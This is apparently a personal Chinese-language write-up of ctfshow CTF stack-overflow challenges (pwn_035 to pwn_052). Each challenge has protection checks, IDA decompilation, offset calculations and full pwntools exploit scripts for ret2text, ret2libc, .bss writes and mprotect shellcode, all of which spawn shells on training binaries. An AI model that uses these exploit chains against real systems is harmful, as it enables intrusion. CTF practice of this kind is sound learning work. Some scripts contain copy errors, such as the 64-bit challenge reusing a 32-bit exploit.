ctfshow_pwn练习
栈溢出
## pwn_035
正式开始栈溢出了,先来一个最最最最简单的吧
首先使用checksec
查保护:
32位程序,开启了堆栈不可执行保护。首先运行一下:
发现他会打开根目录下的文件,但是并不对其进行输出。这里使用ida进行反编译:
发现,程序读取/ctfshow_flag
文件后存入flag
变量中,但不打印,然后打印字符串,进入验证argv[1]
的值,但是程序中并没有给定输入argv
数组的功能,然后根据argv[1]
的值输出不同的字符,其中,当argc >= 1
时,会进入ctfshow函数中,进入观察:
发现使用strcpy
函数将argv的值复制给dest变量中。
漏洞很明显,是由于strcpy
函数未验证源字符串大小造成的栈溢出漏洞。这里的dest
接收0x68
大小的字符。
这里的dest相对ebp的偏移量为0x6c
.
那么argv
的值应该怎么控制呢,重新审计,发现原来该程序是通过命令行来接受参数的,这里给出chat的解释:
那么就好控制了,我们只需要输入大于0x6c的值即可造成栈溢出漏洞。但是造成栈溢出的目的是为了读取flag,程序中已经读取了flag,应该如何使其输出出来呢。重新审计发现:1
2fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
这个函数没见过,给chat跑一下:
通过chat的解释以及菜鸟教程-signal函数,我们知道了,当该函数发生非法访问存储器,如访问不存在的内存单元时,就会调用sigsegv_handler
函数,我们跟进该函数看一下:1
2
3
4
5
6void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
他就会打印出flag。所以当我们造成栈溢出漏洞时,其实就相当于非法访问存储器,自然便会调用函数打印flag。所以我们只需要输出>0x6c
个字节的内容即可获取flag。我们使用peda生成108字节的字符:
然后输入:
成功读取到本地flag。
pwn_036
存在后门函数,如何利用?
本地运行,并使用checksec
查一下保护:
程序存在输入,并且栈可执行
markdown
1 2 3 4 5 6 7 8 |
Arch: i386-32-little ✅ 32位程序,EIP 只有4字节,易于控制 RELRO: Partial RELRO ✅ 没有完全保护 GOT,可以改 GOT Stack: No canary found ✅ 栈上无金丝雀,可以自由溢出返回地址 NX: NX unknown ❓ 理论是栈不可执行,但实际 checksec 没识别出来 PIE: No PIE (0x8048000) ✅ 程序地址固定(无地址随机化),容易找函数地址 Stack: Executable ✅ 栈是可执行的!!可以直接打 shellcode RWX: Has RWX segments ✅ 程序有可读写执行段,可能可以写入并跳转 Stripped: No ✅ 没有被 strip,可以直接看到符号(如 main、func 等) |
接下来我们使用ida打开:
main函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}
ctfshow函数:1
2
3
4
5
6char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);
}
ctfshow函数中使用gets函数来读取s,标准的栈溢出漏洞。
我们将断点下在0x08048619
处esp
的地址为0xffffd550
,ebp
的地址为0xffffd588
,s
相对于ebp
的索引为ebp+0x28
,所以这里s
相对ebp
的偏移量为0x28
。
接着找到存在getflag
函数:
地址为:0x08048586
所以我们的思路就是溢出到getflag
函数处即可。
编写exp1
2
3
4
5
6
7
8
9
10
11#!/usr/bin/env python3
from pwn import *
sh = process("./pwn")
getflag_addr = 0x08048586
payload = b'a' * 0x28 + b'bbbb' + p32(getflag_addr)
sh.sendline(payload)
sh.interactive()
成功获取到flag:
pwn_037
32位的 system(“/bin/sh”) 后门函数给你
执行➕checksec:
开启了栈不可执行保护。放入ida中进行分析:
反编译后的main函数、logo函数以及ctfshow函数
发现漏洞点应该在ctfshow函数中,因为这里预定义的buf数组的大小为14,而read允许读入的字节大小为0x32 = 50
,所以这里存在栈溢出漏洞。
继续分析,发现存在system后门函数backdor:
backdoor函数地址:0x08048521
接下来我们计算偏移,buf相对于ebp的偏移为0x12
。就下来我们编写exp1
2
3
4
5
6
7
8
9
10
11
12#!/usr/bin/env python3
from pwn import *
sh = process("./pwn")
backdoor_addr = 0x08048521
payload = b'a' * 0x12 + b'bbbb' + p32(backdoor_addr)
sh.sendline(payload)
sh.interactive()
成功拿到本地shell
[
pwn_038
64位的 system(“/bin/sh”) 后门函数给你
执行加checksec
与上题一样,输入然后推出,且仅开启了堆栈不可执行保护,不一样的是,本次的是64位程序。使用ida打开分析。
反编译,直接转到ctfshow函数中
read栈溢出漏洞。并且存在后门地址backdoor,地址0x0400657
[
计算偏移量为0x0a
,这里需要注意的是,64位程序距离返回地址有8个字节。
注意,这里是64位程序,与32位程序不同的是,这里我们需要考虑到堆栈平衡的情况:
堆栈平衡:64位系统需要保持一个栈平衡,需要找栈lea的地址或者该函数结束即retn的地址,当我们在堆栈中进行堆栈的操作的时候,一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址一定要是call指令的下一条地址。
仿照上例,编写exp1
2
3
4
5
6
7
8
9
10
11
12#!/usr/bin/env python3
from pwn import *
sh = process("./pwn")
backdoor_addr = 0x0400657
payload = b'a' * 0x0a + b'b' * 0x08 + p64(0x040066D) + p64(backdoor_addr)
sh.sendline(payload)
sh.interactive()
pwn_039
32位的 system(); “/bin/sh”
运行+checksec,观察:
只开启堆栈不可执行保护,使用ida反编译,找到漏洞点
read函数的栈溢出漏洞,试寻找后门函数。在hint函数中找到system函数以及/bin/sh
字符,但是并没有构成后门函数,所以我们这里需要构造system('/bin/sh')
。
找到/bin/sh
的地址:
接下来我们找到system@plt的地址:
最后,我们需要计算可溢出字符串的偏移:
为0x12 + 4
编写exp1
2
3
4
5
6
7
8
9
10
11
12
13#!/usr/bin/env python3
from pwn import *
sh = process('./pwn')
binsh_addr = 0x08048750
system_plt = 0x080483A0
payload = flat([ b'a' * 0x16, system_plt, b'b' * 4, binsh_addr ])
sh.sendline(payload)
sh.interactive()
pwn_040
64位的 system(); “/bin/sh”
运行+checksec,可以看到只开启了NX保护
IDA反编译查看
read函数存在溢出,且存在system函数,查找是否存在/bin/sh
字符串
计算偏移:
偏移量为0x10
编写exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
bin_sh_addr = 0x00400808
system_plt = 0x0400520
pop_rdi_ret = 0x004007e3
payload = b'a' * (0x0A + 0x08) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(0x04004fe) + p64(system_plt)
sh.recvuntil(b'Just easy ret2text&&64bit\n')
sh.sendline(payload)
sh.interactive()
pwn_041
32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代
使用checksec查保护并运行,获得基本信息,32位程序,仅开启NX保护。
使用ida反编译
存在read函数栈溢出,并且存在system
函数,但不存在/bin/sh
字符。
原本准备在.bss段中写入/bin/sh\x00
,来构造system('/bin/sh')
,但是并没有找到可用的.bss段,继续审计代码,发现存在sh
字符串。
这里不得不提/bin/sh
与sh
之间的区别:sh
是通过系统环境变量来启动一个名为sh的shell环境。而/bin/sh
则是linux系统中默认的shell环境。
接下来计算偏移为0x12
编写exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
sh_addr = 0x080487BA
system = elf.sym['system']
pop_edi_addr = 0x0804878a
payload = b'a' * (0x12 + 0x04) + p32(system) + b'b' * 0x04 + p32(sh_addr)
sh.sendline(payload)
sh.interactive()
pwn_042
64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代
checksec查保护信息,得到64位程序,只开启NX保护。
使用ida反编译审计
与上题类似,只不过是64位程序。存在system函数以及sh
字符,偏移为0x0a
。
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process('./pwn')
elf = ELF('./pwn')
system_plt = elf.plt['system']
sh_addr = 0x0400872
pop_rdi_ret = 0x0400843
ret = 0x040053e
payload = b'a' * (0x0a + 0x08) + p64(pop_rdi_ret) + p64(sh_addr) + p64(ret) + p64(system_plt)
sh.sendline(payload)
sh.interactive()
成功打通
pwn_043
32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
check查保护信息,32位程序,仅开启NX保护
拖入IDA中查看
gets函数栈溢出,并且程序中不存在/bin/sh
,我们想到利用gets()
向.bss
段中写入/bin/sh
,然后构造system('/bin/sh')
拿到shell。
首先计算偏移为0x6c
寻找到可以写入的.bss
段地址
通过gdb调试可以确定该.bss
段可写入
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
system_plt = elf.plt['system']
gets_plt = elf.plt['gets']
bss_addr = 0x0804B060
payload = b'a' * (0x6c + 0x04) + p32(gets_plt) + p32(system_plt) + p32(bss_addr) * 2
sh.sendline(payload)
sh.sendline(b'/bin/sh\x00')
sh.interactive()
本地打通
pwn_044
64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
checksec查保护信息,64位程序,仅开启NX保护。
拖入ida中查看
与上题一样,gets栈溢出,且无/bin/sh
。
计算偏移为0x0a
寻找能写入的.bss
段地址
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
sh_addr = 0x080487BA
system = elf.sym['system']
pop_edi_addr = 0x0804878a
payload = b'a' * (0x12 + 0x04) + p32(system) + b'b' * 0x04 + p32(sh_addr)
sh.sendline(payload)
sh.interactive()
成功打通
pwn_045
32位 无 system 无 “/bin/sh”
checksec查信息,32位程序,仅开启NX保护。
拖入IDA中反编译查看
存在read栈溢出,无system()
与/bin/sh
,想到使用write()
函数泄露libc地址,libc中存在可以构造成system('/bin/sh')
的gadget。
计算偏移0x6B
pwn中wire函数的用处
这里我们使用write()
函数泄露puts
函数的地址,然后获得libc
基地址,最后根据基地址找到system()
函数,构造ROP链。
还有一个问题是,题目程序有的使用libc
程序版本不同,相应的函数地址也有不同,这就需要我们确定libc的版本,然后再计算基地址,计算函数地址,之后才能构造ROP链子。
如何获得libc
的版本号,有以下方法,
- 我们可以使用LibcSeacher泄露libc的版本,进而泄露更多信息。
- 或者可以先泄露某个函数的地址,利用在线网站查找到libc版本,下载下来,再进行做题。
- 有的题目会给使用的libc版本,可以使用
strings + file
命令进行查看版本号,然后使用glibc-all-in-one
下载做题。
本题并没有给到libc
附件,所以我们首先使用手动泄露的方式,然后再使用LibcSearcher
。
手工
首先,编写程序将puts
函数的地址泄露
构造1
write(1, puts@got, 4)
不太清楚为什么,尝试泄露puts
,write
函数的地址没有泄露成功,全部卡住不动,但是成功泄露出了libc_start_main_got
的地址。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
write_plt = elf.plt['write']
main = elf.sym['main']
puts_got = elf.got['puts']
write_got = elf.got['write']
ctfshow = elf.sym['ctfshow']
libc_start_main_got = elf.got['__libc_start_main']
payload = b'a' * (0x6B + 0x04) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(puts_got) + p32(4)
sh.sendline(payload)
gdb.attach(sh)
puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
刚刚那会儿死活泄露不出来,这会儿来一个泄露一个,风水问题?😡
将泄露出得puts
、write
,__libc_start_main
的地址后三位复制到查询libc的网站中,libc database search,添加的信息越多,越能确定对方服务器使用的libc版本:
接下来,使用glibc-all-in-one
将这四个版本下载到本地,挨个试一试。构造exp,拿到shell。
像这样,将libc下载下来使用。使用下面语法进行连接1
libc = ELF("./2.35-0ubuntu3.9_i386/libc.so.6")
接下来计算libc基地址,因为所有函数的真实地址都需要通过基地址来计算。
基地址已泄露函数地址中函数的地址libc基地址=已泄露函数地址−libc中函数的地址
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./2.35-0ubuntu3.9_i386/libc.so.6")
write_plt = elf.plt['write']
main = elf.sym['main']
puts_got = elf.got['puts']
write_got = elf.got['write']
ctfshow = elf.sym['ctfshow']
libc_start_main_got = elf.got['__libc_start_main']
payload = b'a' * (0x6B + 0x04) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(puts_got) + p32(4)
sh.sendline(payload)
# gdb.attach(sh)
puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
payload = b'a' * (0x6B + 0x04) + p32(system_addr) + b'a' * 0x04 + p32(bin_sh)
sh.sendline(payload)
sh.interactive()
本地打通
Libcsearcher:
没利用成功,本地libc数据库没有找到1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30#!/usr/bin/env python3
from pwn import *
from LibcSearcher import LibcSearcher
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
write_plt = elf.plt['write']
ctfshow = elf.sym['ctfshow']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
write_got = elf.got['write']
payload = b'a' * (0x6B + 0x04) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(libc_start_main_got) + p32(4)
sh.sendline(payload)
puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher('__libc_start_main', puts_addr, 0)
libc_base = puts_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x6B + 0x04) + p32(system_addr) + b'a' * 0x04 + p32(bin_sh)
sh.sendline(payload)
sh.interactive()
在虚拟机上跑成功了,应该是docker环境设置的问题。
pwn_046
64位 无 system 无 “/bin/sh”
与上题一样,不一样的是64位程序。checksec查保护,仅开启NX保护。
使用ida反编译查看。
read栈溢出,同样没有system
函数以及/bin/sh
计算偏移0x70
:
首先泄露puts
、write
、__libc_start_mian
函数的地址,然后计算基址,最后拿到libc中system
函数与/bin/sh
,构造ROP链。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
pop_rdi = 0x0400803
pop_rsi_r15_ret = 0x0400801
ret = 0x04004fe
ctfshow = elf.sym['ctfshow']
write_plt = elf.plt['write']
puts_plt = elf.plt['puts']
write_got = elf.got['write']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
# payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15_ret ) + p64(puts_got) * 2 + p64(write_plt) + p64(ctfshow)
payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
sh.sendline(payload)
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(hex(libc_base))
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x70 + 0x08) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
sh.sendline(payload)
sh.interactive()
很奇怪,使用write
泄露的libc不能使用,使用puts
泄露可以,不知道什么情况,有没有大佬可以解惑。🤔1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
pop_rdi = 0x0000000000400803
pop_rsi_r15_ret = 0x0000000000400801
ctfshow = elf.sym['ctfshow']
write_plt = elf.plt['write']
write_got = elf.got['write']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15_ret ) + p64(puts_got) * 2 + p64(write_plt) + p64(ctfshow)
sh.sendline(payload)
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
然后,利用泄露出的puts@got
地址确定libc版本:
使用glibc-all-in-one
将libc安装下来。(怎么感觉这玩意有点不太准呢,我操作的问题?)
pwn_05(练习)
朋友给了一个题,差点儿给自己pwn掉了。在这里记录一下。
checksec查保护,64位程序,仅开启NX保护,这个时候一想,签到题,应该很简单。
使用ida反编译打开。copy函数
看不懂,丢给chat跑了一下。大概流程是,接收一个数字,低8位字节不超过32
,read
读入到src
段中,然后将src
段中的内容复制到dest
数组中,限制大小为前面接受数字的低32位字节。
这里需要绕过,绕过了半天,问chat,给了我一个超大数字,结果没有卵用,最后还是群友的chat给出了思路。😢
使用gdb调试:
首先输入正常不超过32的数字
可以看到,read
与memcpy
限制读入大小为0x1f
。远远达不到我们想要溢出的长度
然后输入256
可以看到,此时限制读入的字节已经可以达到我们想要溢出的大小。
为什么会这样呢,因为:
所以在这里,256及256的倍数均可。
然后下一个难题就是,该程序没有使用rbp寄存器,偏移计算的问题。
不会,真不会,就这逼玩意我研究了一晚上。😭
可以看一下,这里寄存器rbp
被设定为1
也就是说,程序没有使用rbp
做栈基地址,而是直接通过rsp
管理栈空间。也就是说,当程序创建dest
时候,rsp
指针会向下创建0x38
大小的内存空间,当该内存空间被写满之后,便能直接覆盖到返回地址。也就是
偏移返回地址用户输入地址偏移=返回地址−用户输入地址
所以这里的偏移为0x38
,并且我们不用再加0x08
字节就可以覆盖到返回地址。奶奶的,加了一晚上的0x08
可以使用gdb调试验证
输入aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaacccccccc
可以看到,栈中返回地址已经被覆盖
编写exp。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF('./pwn')
libc = ELF('./libc-2.17.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
copy_addr = elf.sym['copy']
libc_start_main_got = elf.got['__libc_start_main']
pop_rdi_ret = 0x04007f3
ret_addr = 0x04005F9
offset = 0x28
payload = b'a' * offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(copy_addr)
# payload = b'a' * 0x28 + b'b' * 0x08 + b'cccc'
print(len(payload))
# gdb.attach(sh)
sh.sendlineafter('\n', b'1024')
sh.recvuntil('请输入字符串:')
sh.sendline(payload)
# sh.recvall()
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(hex(libc_base))
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
sh.sendlineafter('\n', b'1024')
p2 = b'b' * (offset)
p2 += p64(pop_rdi_ret)
p2 += p64(bin_sh)
p2 += p64(ret_addr)
p2 += p64(system_addr)
sh.recvuntil('请输入字符串:')
#gdb.attach(sh)
sh.sendline(p2)
sh.interactive()
这里选择libc版本为amd64的2.17的即可
pwn_047
ez ret2libc
32位程序,仅开启NX保护
ida反编译gets
函数栈溢出,并且main
函数中:%p
可以泄露函数puts
的真实地址,就是libc函数地址
也就是说,我们不用去构造ROP
链泄露函数地址,直接可以计算基址,进而构造system('/bin/sh')
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
sh.recvuntil(b'puts: ')
puts_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'fflush ')
fflush_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'read: ')
read_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'write: ')
write_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'gift: ')
gift_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
offset = 0x9c + 0x04
payload = b'a' * offset + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)
sh.sendline(payload)
sh.interactive()
本地打通
pwn_048
没有write了,试试用puts吧,更简单了呢
checksec查保护,32位程序,仅开启NX保护
使用ida反编译:read
栈溢出,使用puts
泄露puts@got
地址,以此计算libc基地址。
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30#!/usr/bin/env python3
from pwn import *
from LibcSearcher import LibcSearcher
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
offset = 0x6b + 0x04
puts_plt = elf.plt['puts']
ctfshow = elf.sym['ctfshow']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
payload = b'a' * offset + p32(puts_plt) + p32(ctfshow) + p32(puts_got)
sh.sendline(payload)
puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * offset + p32(system_addr) + b'a' * 0x04 + p32(bin_sh)
sh.sendline(payload)
sh.interactive()
pwn_049
静态编译?或许你可以找找mprotect函数
checksec查保护,32位程序,开启了NX保护与canary保护
拖入ida中反编译read
函数栈溢出,且是静态编译的程序,我们想到,使用mprotect
函数选择一段内存空间修改为可读可写可执行,再将shellcode读入这段内存空间中,最后控制程序到这段空间中,便可以执行shellcode
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
mprotect_plt = 0x0806CDD0
read_plt = 0x0806BEE0
pop_eax_edx_ebx_ret = 0x08056194
main_addr = elf.sym['main']
bss = 0x080DB000
bss_size = 0x1000
offset = 0x12 + 0x04
payload = b'a' * offset + p32(mprotect_plt) + p32(pop_eax_edx_ebx_ret) + p32(bss) + p32(bss_size) + p32(0x07)
payload += p32(read_plt) + p32(pop_eax_edx_ebx_ret) + p32(0) + p32(bss) + p32(0x1000) + p32(bss)
sh.sendline(payload)
shellcode = asm(shellcraft.sh())
sh.sendline(shellcode)
sh.interactive()
本地打通
pwn_050
好像哪里不一样了
远程libc环境 Ubuntu 18
checksec查保护,64位程序,仅开启NX保护
使用ida反编译gets
栈溢出,不存在system('/bin/sh')
。
使用ret2libc
即可
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
pop_rdi = 0x04007e3
ret = 0x04004fe
offset = 0x20 + 0x08
ctfshow = elf.sym['ctfshow']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
# payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15_ret ) + p64(puts_got) * 2 + p64(write_plt) + p64(ctfshow)
payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
sh.sendline(payload)
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(hex(libc_base))
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * offset + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
sh.sendline(payload)
sh.interactive()
pwn_051
I‘m IronMan
checksec查保护,32位程序,仅开启NX保护
使用ida反编译1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49int sub_8049059()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
char v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
char v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
注意到关键函数read
和strcpy
,read
函数处限制字节大小为0x20
,无溢出,观察strcpy
函数,注意到,它将v4
字符串复制到S
,我们追踪一下v4
的处理逻辑:
重点看这一部分
这部分说明了,有些特殊字符输入程序,会替换为IronMan
,剩余字符会原样输出,我们测试一下是哪些字符会被替换,这时我们构造栈溢出的关键:
生成a-z A-Z
字符串1
2abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
然后运行程序输入
输入I
便会替换,那么就明了了,我们只需要输入最高0x20
个字节的I
,程序便会替换出0xE0
个字节,可以造成栈溢出。
后门函数也已经找到
这里的偏移,因为要覆盖返回地址需要$0x6c+0x04=0x70$,所以我们只需要输入0x10
个I
即可。
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
backdoor = 0x0804902E
offset = 0x10
payload = b'I' * offset + p32(backdoor)
# gdb.attach(sh, 'b *0x0804924D')
sh.sendline(payload)
sh.interactive()
pwn_052
迎面走来的flag让我如此蠢蠢欲动
checksec查保护,32位程序,仅开启NX保护
ida反编译gets
栈溢出,存在后门函数。
需要注意的是,flag
函数处需要满足两个条件才能将flag正确输出,p32(0x080483aa)
作为返回地址,后面跟上需要满足的条件
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process("./pwn")
elf = ELF("./pwn")
backdoor = 0x08048586
offset = 0x6C + 0x04
payload = b'a' * offset + p32(backdoor) + p32(0x080483aa) + p32(876) + p32(877)
# gdb.attach(sh, 'b *0x0804924D')
sh.sendline(payload)
sh.interactive()